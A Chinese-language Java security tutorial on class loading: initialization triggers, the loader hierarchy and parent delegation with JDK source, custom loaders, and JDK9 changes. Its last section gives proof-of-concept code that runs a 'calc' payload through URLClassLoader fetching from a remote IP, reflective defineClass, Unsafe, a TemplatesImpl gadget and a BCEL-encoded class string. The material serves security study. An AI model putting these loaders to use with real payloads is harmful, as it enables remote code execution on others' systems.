java安全-类的动态加载

一、不同类加载方法

分析不同类加载方法会导致类中代码块运行情况

java中类初始代码块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Parent {
// 静态字段初始化(类初始化阶段,按源码顺序)
static int PS = init("Parent static field PS");
// 静态代码块(类初始化阶段,按源码顺序)
static {
log("Parent static{}");
}
// 普通字段初始化(对象初始化阶段,按源码顺序)
int pi = init("Parent instance field pi");
// 实例初始化块
{
log("Parent instance{}");
}
public Parent() {
log("Parent constructor()");
}
public static void staticMethod() {
log("Parent staticMethod()");
}

}

1.一定触发 static{}

A. new Person()

“创建实例”是 JLS 12.4.1 的第一条触发条件,所以在真正创建对象之前必须初始化。

B. Person.staticAction()

调用静态方法是第二条触发条件。

C. Person.staticVar = 1

给静态字段赋值是第三条触发条件。

D. System.out.println(Person.staticVar)(且不是编译期常量)

读取静态字段是第四条触发条件,但必须“不是 constant variable”

E. Class.forName("Person")

JDK 文档写得非常直白:forName("X") 会导致类 X 被初始化

2.不触发 static{}

A. Person.class

Person.class 是一个 class literal(类字面量)表达式,规范只保证它“求值结果是对应的 Class 对象”。

  • 不属于 JLS 12.4.1 列出的四种初始化触发事件
  • 而 JLS 12.4.1 又明确说“不会因为其他情况初始化”

Person.class 可能会为了得到 Class 对象而发生“加载/链接”,但它不会触发初始化,因此 static{} 不跑、不会打印。

B. ClassLoader.loadClass("Person")

Oracle 的 ClassLoader.loadClass(name) 文档说它等价于 loadClass(name, false)
loadClass(name, boolean resolve)resolve 也只是“是否 resolve(链接的一部分)”。

把类弄成 JVM 已知(Loaded,可能还 resolve),但不做初始化static{} 不跑。


C. Class.forName(name, false, loader)

Class.forName(name, initialize, loader) 文档写了:只有当 initializetrue 才会初始化。
所以 false 就是:拿到 Class,但不跑 static{}

二、类加载器

image-20260105164334723

1.启动类加载器

  • Bootstrap

主要加载:

  • rt.jar(核心类库:java.lang.*java.util.* 等)
  • resources.jarcharsets.jar

搜索路径(可通过系统属性查看):

  • sun.boot.class.path

Bootstrap 永远负责 “让 JVM 有能力跑起来的最基础那批类”,他是最基础的类加载器

同时,它不是一个普通的 java.lang.ClassLoader 对象,很多地方用 null 表示,这是因为他是由C语言实现的

image-20260105165311899

2.java中实现的类加载器

image-20260105165434761

他们都是继承于URLClassLoader类

Extension类加载器

它主要从扩展目录加载 JAR(以及目录里的 class),来源有两块:

A. 默认扩展目录:${java.home}/lib/ext

JDK 8 的经典目录就是:

  • $JAVA_HOME/jre/lib/ext(或 java.home/lib/ext

把一个 xxx.jar 放进这个目录后(JDK8),ExtClassLoader 会把它当“扩展库”加载,应用代码不用额外加 -cp 也可能能用到。

B. java.ext.dirs 系统属性指定的目录列表

ExtClassLoader 会读取系统属性:

  • java.ext.dirs

Application类加载器

这个主要加载下面三部分路径下的字节码文件

  • target/classesout/production 之类编译产物

  • 项目依赖的 jar(maven/gradle 下载那堆)

  • 运行命令里 -cp/-classpath 指定的所有 classpath 条目

他们都是sun/misc/Launcher.java这个类中的子类

image-20260105175253531

三、字节码加载方式

1.双亲委派模型

image-20260104224101015

双亲委派作用

image-20260105171319355

具体的加载流程

image-20260105171445275

代码实现

java/lang/ClassLoader.java中loadClass方法

  • 类加载时要调用这个方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {

Class<?> c = findLoadedClass(name);
if (c == null) { 1.//如果不为空,下面代码全部不执行,直接返回类对象
long t0 = System.nanoTime();

//这个也同时是双亲委派的重要逻辑
try {
if (parent != null) {
c = parent.loadClass(name, false); 2.//向上委派功能实现
} else {
c = findBootstrapClassOrNull(name); 3.//向上委派结束。也就是启动类加载器
}



} catch (ClassNotFoundException e) {

}

if (c == null) {
4.//直到最高级的父亲都没有加载成功,所以就由当前的类加载器加载

long t1 = System.nanoTime();
c = findClass(name); 5.//进行类加载,当前类只是抽象方法,最终由子类实现


sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;//这里,如果父类已经加载,这里直接返惠
}
}

java/net/URLClassLoader.java中 findClass 方法

  • 它是loadclass的子类,它实现了findclass方法,并且交予extion与application类加载器进行调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected Class<?> findClass(final String name) throws ClassNotFoundException
{
final Class<?> result;
try {
result = AccessController.doPrivileged(
new PrivilegedExceptionAction<Class<?>>() {
public Class<?> run() throws ClassNotFoundException {
6.//核心逻辑
String path = name.replace('.', '/').concat(".class");
Resource res = ucp.getResource(path, false);

if (res != null) {
try {

return defineClass(name, res);
7.//最终调用这个方法

} catch (IOException e) {
throw new ClassNotFoundException(name, e);
} catch (ClassFormatError e2) {
if (res.getDataError() != null) {
e2.addSuppressed(res.getDataError());
}
throw e2;
}
} else {
return null;
}
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (ClassNotFoundException) pae.getException();
}
if (result == null) {
throw new ClassNotFoundException(name);
}
return result;
}

java/lang/ClassLoader.java中defineClass方法

1
2
3
4
5
6
7
8
9
10
11
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source); 8.//在调用它
postDefineClass(c, protectionDomain);
return c;
}

image-20260105192803500

9.这个是一个本地方法,具体实现在虚拟机中

双亲委派模型理解

  1. 重复类,即如果一个类可以由三个类加载器同时加载,那么一定会由启动类加载器加载

  2. 使用application类加载器去加载String对象,什么类加载器加载

    image-20260105172631808

JVM 处理一个类,通常分 3 段

  1. Loading 加载:把 .class 字节码读进来,生成 Class<?> 对象(但还没跑静态代码)。
  2. Linking 链接:验证(verify) / 准备(prepare) / 解析(resolve 符号引用)。
  3. Initialization 初始化:执行 <clinit>(静态变量赋值 + static {})。
ClassLoaderWork

2.Class.forName("pkg.A") 的完整链路

先拿“类加载锁”(并发安全)

loadClass 会对同一个类名加锁(JDK 7+ 是“按类名粒度”的锁,避免全局大锁),保证并发场景下不会重复定义同一个类。

类加载是并发敏感区,JDK 需要同步保护。


findLoadedClass(name):先看这个类是不是已经被这个加载器加载过

目的:缓存命中直接返回,避免重复加载/重复 define。
这是默认算法的第一步。 CR OpenJDK

  • 命中:直接拿到 Class<?>,跳到第 4 步(可能 resolve)
  • 未命中:继续第 2 步

把请求“委派”给父加载器(parent.loadClass)

这一步就是所谓“双亲委派模型”的核心:
先让父加载器尝试加载(更靠近“核心类库”的那条链路优先)。

具体分两种:

  • parent != null:调用 parent.loadClass(name, false/resolve)(实现细节里 resolve 可能延后,总之“先父后子”)
  • parent == null:使用 Bootstrap ClassLoader(虚拟机内建的那个)去尝试加载

理解:
加载 java.lang.String 这种核心类,肯定先让“最权威的加载器”来输出。
这样能避免你自己 classpath 里放个“假 String”把 JVM 搞乱。


父加载器没找到 → 才轮到自己:findClass(name)

如果父加载器(包括 bootstrap)都 ClassNotFoundException 了,才会调用:

  • findClass(name)让“当前加载器”自己去找字节码并 defineClass
    这是默认算法的第三步。

这里非常关键的一点:

  • loadClass 是“总控流程”(模板方法)
  • findClass 才是“你自定义加载器要重写的点”(比如从网络、加密文件、数据库里读 class bytes)

也就是说:
你想“规定它算 hashcode 的时候用你自己的代理类”那种问题,本质也是:JVM 走固定入口(loadClass),但你能控制的是 findClass / defineClass 的来源与规则


如果 resolve == true:resolveClass(klass)(链接的“解析”阶段)

默认算法最后一步:
如果 loadClass(name, resolve) 里的 resolve 为 true,就会调用 resolveClass(c)

这一步你可以理解成:
把这个类里常量池的符号引用(比如 “我引用了某个类/方法/字段”)在需要时做解析(resolution)。

注意:JDK/规范层面经常把 Linking 拆成:验证/准备/解析。
resolveClass 更贴近“解析”那一块;而 Class.forName 的行为是否“主动完成 linking” 在历史上还专门做过规格澄清:
Class.forName() 长期实现并不保证“除非初始化发生,否则就一定完成 linking”。

之后就是进行define字节码文件了!

3.ClassLoader.loadClass("pkg.A") 的完整链路

1
ClassLoader.getSystemClassLoader() 拿到的通常是 系统/应用类加载器(System/Application ClassLoader,常见实现是 AppClassLoader)

image-20260104224629950

findLoadedClass(name):查缓存

  • 同一个 Clas sLoader 如果已经把 pkg.A 定义过了,直接返回 Class<?>,不会再去找字节码。

父委派:parent.loadClass(name, false) 或 Bootstrap

image-20260105180014365
  • 如果 parent != null:交给 parent 去加载(注意传的也是 false,即 parent 也默认不 resolve)。

    image-20260105180628258

  • 如果 parent == null:走 findBootstrapClassOrNull(name)(也就是 Bootstrap 路径:JDK 核心类那套)。

  • image-20260104223536210

findClass(name):终于轮到“我自己找 class 文件/JAR”

  • 这一步在不同加载器里实现不同:比如应用类加载器会按 classpath / module path 去找。

  • findClass 的典型工作就是:读到 .class 字节 → defineClass(...) → JVM 把它“定义”为一个 Class<?>

    image-20260105181103736

下一步便是define,加载字节码文件

image-20260104225221895

resolveClass(c):只做“链接的一部分”,不初始化

  • 只有你 resolve=true 才会走到这一步。默认 loadClass(name) 不会走。

四、打破双亲委派机制

自定义类加载器

重写 loadClass 方法

1
2
3
4
5
6
7
8
9
10
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.startsWith("java.") || name.startsWith("javax.")) {
return super.loadClass(name);
}//如果是系统文件,交予父类加载

//去掉双亲委派机制代码

byte[] data = loadClassData(name);//这个函数只是做模拟一下
return defineClass(name, data, 0, data.length);
}

加载 main 类

1
2
3
4
5
6
7
8
9
public static void main(String[] args)
throws ClassNotFoundException, InstantiationException, IllegalAccessException {

BreakClassLoader1 classLoader1 = new BreakClassLoader1();
classLoader1.setBasePath("D:\\lib\\");

Class<?> clazz1 = classLoader1.loadClass("com.it.chaun");//java中有预先处理java开头的检查,所以不可能实现加载java类
clazz1.newInstance();
}
  • 此时,默认的父类加载器为 application 类加载器

    java源码实现如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    protected ClassLoader() {
    this(checkCreateClassLoader(), getSystemClassLoader());//这个在下方有所解释
    }

    private ClassLoader(Void unused, ClassLoader parent) {
    this.parent = parent;
    if (ParallelLoaders.isRegistered(this.getClass())) {
    parallelLockMap = new ConcurrentHashMap<>();
    package2certs = new ConcurrentHashMap<>();
    assertionLock = new Object();
    } else {
    // no finer-grained lock; lock on the classloader instance
    parallelLockMap = null;
    package2certs = new Hashtable<>();
    assertionLock = this;
    }
    }

    ClassLoader.getSystemClassLoader() 里这个“系统类加载器(System Class Loader)”,可以把它理解成:

    JVM 启动你的应用时,默认用来加载“应用代码/第三方依赖”的那个主力加载器
    也常被叫做 Application ClassLoader(应用类加载器)

打破双亲委派的标准做法:重写 loadClass(name, resolve)(child-first)

image-20260105202233307

五、JDK9之后的新变化

上文介绍的都是djk8以及8之前的具体类加载器实现

image-20260105201516373

jdk9之后,引入了module的概念

类加载从之前的 jar 包加载改变为从 jmod 文件中加载

大概有以下变化

image-20260105201722505

image-20260105201824870

application只是继承上发生变化,其他没有改变

六、利用其加载任意类

创建恶意类,并且配置到云服务器上

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class CL8 {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

1.URLClassLoader

1
2
3
4
5
URLClassLoader classLoader = new URLClassLoader(
new URL[]{new URL("http://101.200.184.201:7070/")}
);
Class<?> cls = classLoader.loadClass("CL8");
cls.newInstance(); //初始化,调用static代码块
image-20260105220251488
  • 这个还可以用其他协议

    1
    2
    3
    http:// new URL[]{new URL("http://101.200.184.201:7070/")}
    file:// new URL[]{new URL("file:///C:\\Users\\32768\\Desktop\\")}
    jar:// new URL[]{new URL("jar:file:///C:\\Users\\32768\\Desktop\\javasec1-1.0-SNAPSHOT.jar!/")}

2.ClassLoader#defineClass

1
2
3
4
5
6
7
8
ClassLoader cl = ClassLoader.getSystemClassLoader();

Method defineClass1 = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClass1.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32768\\Desktop\\CL8.class"));
Class c = (Class) defineClass1.invoke(cl,"CL8",code,0,code.length);
c.newInstance();

  • 注意,defineClass这个方法是私有的,需要使用反射调用

3.Unsafe类获取

  • java 存在一个 sun/misc/Unsafe.java 这个类对象,此类对象下重写了一个公开的静态方法 define 可以使用它加载给定字节码文件

但是值得注意的是,该类是单例类模式,构造方法全部私有化,所以需要使用反射获取类对象

image-20260106103513045
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32768\\Desktop\\CL8.class"));
ClassLoader cl = ClassLoader.getSystemClassLoader();

Class<Unsafe> unsafeClass = Unsafe.class;
//拿到 Unsafe 这个类的 Class 对象(反射入口)

Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe");
//getDeclaredField 会拿到 本类自己声明的字段(包括 private)

theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
//Field.get(obj) 里传 null,表示取的是静态字段(static 不需要对象实例)

Class<?> aClass = unsafe.defineClass("CL8", code, 0, code.length, cl, null);
aClass.newInstance();

4.TemplatesImpl

这个类的作用主要是

把“已编译的 XSLT(translet)”缓存起来,并且能随时 new 出 Transformer 来执行转换。

但是它里面有一个内部类中定义了一个方法defineClass,他是默认的defaut方法,所以可以被同包下外部类调用

它不是在重写 ClassLoader#defineClass(...),它是在 新增/重载(overload)一个“包装方法”

image-20260106140603165

于是我们尝试构造利用链

下面链中顶部的俩个方法都是公开可以直接调用

1
2
public synchronized Transformer newTransformer()
public synchronized Properties getOutputProperties() {
1
2
3
4
5
6
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
//getTransletInstance()在调用完defineTransletClasses()方法后,对其返回的类做了实例化,从而执行我们类中的静态代码块

-> TransletClassLoader#defineClass()

TemplatesImpl类属性赋值

  • _name属性不能为空

    image-20260106134146495

  • _bytecodes这个属性不能为空

    image-20260106134407579

AbstractTranslet子类限制

  • getTransletInstance()会对类进行强转

    image-20260106143730113

    一个强制转换为AbstractTranslet子类,一个进行实例化

  • defineTransletClasses会依次检查类

    image-20260106143454039

尝试利用

  • 利用 poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public static void main(String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException {
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32768\\Desktop\\CL8.class"));

    TemplatesImpl obj = new TemplatesImpl();

    //反射修改内部属性
    setFieldValue(obj, "_bytecodes", new byte[][] {code});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    obj.newTransformer();//调用启动方法
    }

    private static void setFieldValue(Object obj, String bytecodes, Object bytes) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(bytecodes);
    field.setAccessible(true);
    field.set(obj, bytes);
    }
  • 恶意外部类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    public class HelloTranslet extends AbstractTranslet {

    static {
    try {
    Runtime.getRuntime().exec("calc");//测试
    } catch (IOException var1) {
    throw new RuntimeException(var1);
    }
    }

    // XSLTC 常见的 transform 入口 1:DOM + 多个输出 handler
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    // 演示:什么都不做
    }

    // XSLTC 常见的 transform 入口 2:DOM + iterator + 单个输出 handler
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
    throws TransletException {
    // 演示:什么都不做
    }
    }

  • 成功

    image-20260106145552294

5.BCEL ClassLoader

  • BCEL 提供的一种机制:把字节码编码进字符串里,再通过特殊 ClassLoader 从字符串还原并加载类。它在安全领域里之所以“出名”,是因为如果这串字符串来自不可信输入,就可能变成任意代码执行的入口(很多历史漏洞链喜欢用它)。BCEL 的官方文档也明确描述了 $$BCEL$$ 这种“特殊请求格式”
1
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
  • 这是一个“能在加载 Class 的过程中,把 class 文件先解析成 BCEL 的 JavaClass 对象、允许修改后,再把字节码喂回 JVM defineClass 的类加载器”
1
2
3
JavaClass cls = Repository.lookupClass(CL8.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);

利用

1
2
3
public static void main(String[] args) throws Exception {
new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$Am$91Ko$d3$40$U$85$cf$qn$ec$Y$9b$b6$vIKy$W$faH$ba$mB$b0$40J$c5$a6$C$Ja$u$oU$Q$cb$c9t$9aN$eb$da$95$ed$94$fe$p$d6$dd$A$C$J$f6$fc$u$c4$ZS$85$88b$c9s$l$e7$deo$ee$cc$fc$fc$f5$f5$3b$80$c7h$fb$a8c$c9$c7u$y$7b$b8a$edM$X$b7$5c$dc$f6Q$c3$j$Xw$5d$ac$I$d4$b6Lb$8a$a7$C$d5vg$m$e0l$a7$7bZ$6062$89$7e$3d$3e$k$ealW$Ocf$gQ$aad$3c$90$99$b1$f1E$d2$v$OL$$0$l$a9X$e6y$9c$ca$3d$9du$b7$a3$t$3d$BoK$c5$Xd$e7Tf$P$F$9a$d1$a1$3c$95$5d$93v_$ec$3c$3bS$fa$a40i$c2$ca$b0_Hu$f4J$9e$94P$8e$u$e0$f7$d3q$a6$f4sc7$f1$I$7c$60$5b$D$f8$b8$e2$e2$5e$80$fbX$r$96$f3$a8$AkX$XX$f8$PZ$60$b9$cc$c62$Zu$df$8e$93$c2$i$eb$89hY$h$3c$e7$3f$83$L$cc$fd$ed$d9$Z$kjU$f0x$970$9cp$a4$8bI$d0lw$a2K5$3c$99$a3$cf$b4$S$d8hO$a9$fd$o3$c9$a87$dd$f0$sK$95$ces6$yMW$ee$kd$e9$H$7b$r$bd$ce$A$x$f0$f8$9a$f6$ab$40$d8$7b$e0$g0zD$xhg6$3fC$9c$97r$c8$d5$a7$F$h$izW$e9$F$7f$8a0$8b9Z$P$f3$T$c0$3e$aa$a5$b6$f8$F$95F$f5$T$9cw$l$R$be$fc$86$da$7b$S$dd$l$e7$a5Xg$e9$M$L$z$baE$P$84$d6$J$J$I$M$89l$a11$d9$s$a4$d2$c0$C$a3k$fc$5dT$o$X$cd$3a$85V9$dd$e2o$802$A$f6$a0$C$A$A").newInstance();
}
  • 成功

    image-20260106174621108